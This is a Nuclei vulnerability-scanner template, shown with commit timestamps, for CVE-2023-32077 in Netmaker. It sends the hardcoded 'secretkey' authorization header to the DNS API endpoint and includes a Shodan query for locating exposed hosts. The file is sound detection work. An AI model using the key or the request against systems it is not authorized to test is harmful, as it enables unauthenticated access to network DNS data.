nuclei-templates/http/cves/2023/CVE-2023-32077.yaml

40 lines
1.3 KiB
YAML
Raw Normal View History

2024-04-29 12:59:55 +00:00
id: CVE-2023-32077
2024-04-29 12:54:31 +00:00
2024-04-29 12:59:55 +00:00
info:
name: Netmaker - Hardcoded DNS Secret Key
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
Netmaker makes networks with WireGuard. Prior to versions 0.17.1 and 0.18.6, hardcoded DNS key usage has been found in Netmaker allowing unauth users to interact with DNS API endpoints.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-32077
cwe-id: CWE-321,CWE-798
epss-score: 0.0006
epss-percentile: 0.24707
cpe: cpe:2.3:a:gravitl:netmaker:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: gravitl
product: netmaker
shodan-query: html:"netmaker"
2024-04-30 06:14:34 +00:00
tags: cve,cve2023,info-key,netmaker,exposure
2024-04-29 12:54:31 +00:00
2024-04-29 12:59:55 +00:00
http:
- method: GET
path:
- "{{BaseURL}}/api/dns"
2024-04-29 12:54:31 +00:00
2024-04-29 12:59:55 +00:00
headers:
Authorization: "x secretkey"
2024-04-29 12:54:31 +00:00
2024-04-29 12:59:55 +00:00
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(header, "application/json")'
2024-04-30 06:14:34 +00:00
- 'contains_all(body, "{\"address\":", "\"network\":", "\"name\":")'
2024-04-29 12:59:55 +00:00
condition: and
# digest: 490a00463044022044db0025b30ee01f7b653b83140795eaf85cb6c5037c5f592c309666b0191a660220208862f3f2eb0ddb3dcc357a3c4811cc439136e6f123760564c5c0cf2f9274ae:922c64590222798bb761d5b6d8e72950